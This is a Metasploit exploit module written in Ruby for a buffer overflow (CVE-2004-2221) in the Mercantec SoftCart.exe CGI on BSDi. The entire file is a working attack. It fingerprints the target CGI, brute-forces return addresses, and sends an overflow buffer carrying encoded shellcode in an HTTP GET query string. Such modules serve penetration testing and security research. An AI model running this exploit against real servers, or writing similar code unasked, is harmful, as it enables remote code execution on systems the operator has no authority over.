Mercantec SoftCart CGI Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Brute
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Mercantec SoftCart CGI Overflow',
      'Description'    => %q{
        This is an exploit for an undisclosed buffer overflow
        in the SoftCart.exe CGI as shipped with Mercantec's shopping
        cart software.  It is possible to execute arbitrary code
        by passing a malformed CGI parameter in an HTTP GET
        request.  This issue is known to affect SoftCart version
        4.00b.
      },
      'Author'         => [ 'skape', 'trew' ],
      'References'     =>
        [
          [ 'CVE', '2004-2221'],
          [ 'OSVDB', '9011'],
          [ 'BID', '10926'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x09\x0a\x0b\x0c\x0d\x20\x27\x5c\x3c\x3e\x3b\x22\x60\x7e\x24\x5e\x2a\x26\x7c\x7b\x7d\x28\x29\x3f\x5d\x5b\x00",
          'MinNops'  => 16,
          'Prepend'  => "\x6a\x02\x58\x50\x9a\x00\x00\x00\x00\x07\x00\x85\xd2\x75\x0a\x31\xc0\x40\x9a\x00\x00\x00\x00\x07\x00",
          'PrependEncoder' => "\x83\xec\x7f",
        },
      'Platform'       => 'bsdi',
      'Targets'        =>
        [
          [
            'BSDi/4.3 Bruteforce',
            {
              'Bruteforce' =>
                {
                  'Start' => { 'Ret' => 0xefbf3000 },
                  'Stop'  => { 'Ret' => 0xefbffffc },
                  'Step'  => 0
                }
            },
          ],
        ],
      'DisclosureDate' => '2004-08-19',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('URI', [ false, "The target CGI URI", '/cgi-bin/SoftCart.exe' ])
      ])
  end

  def brute_exploit(address)
    if not (@mercantec)
      res = send_request_raw({
        'uri'   => normalize_uri(datastore['URI'])
      }, 5)
      @mercantec = (res and res.body and res.body =~ /Copyright.*Mercantec/)
      fail_with(Failure::NotFound, "The target is not a Mercantec CGI") if not @mercantec
    end

    buffer =
      "MAA+scstoreB" +
      rand_text_alphanumeric(512) +
      [address['Ret']].pack('V') +
      "MSF!" +
      [address['Ret'] + payload.encoded.length].pack('V') +
      payload.encoded

    print_status("Trying #{"%.8x" % address['Ret']}...")
    res = send_request_raw({
      'uri'   => normalize_uri(datastore['URI']),
      'query' => buffer
    }, 5)

    handler
  end
end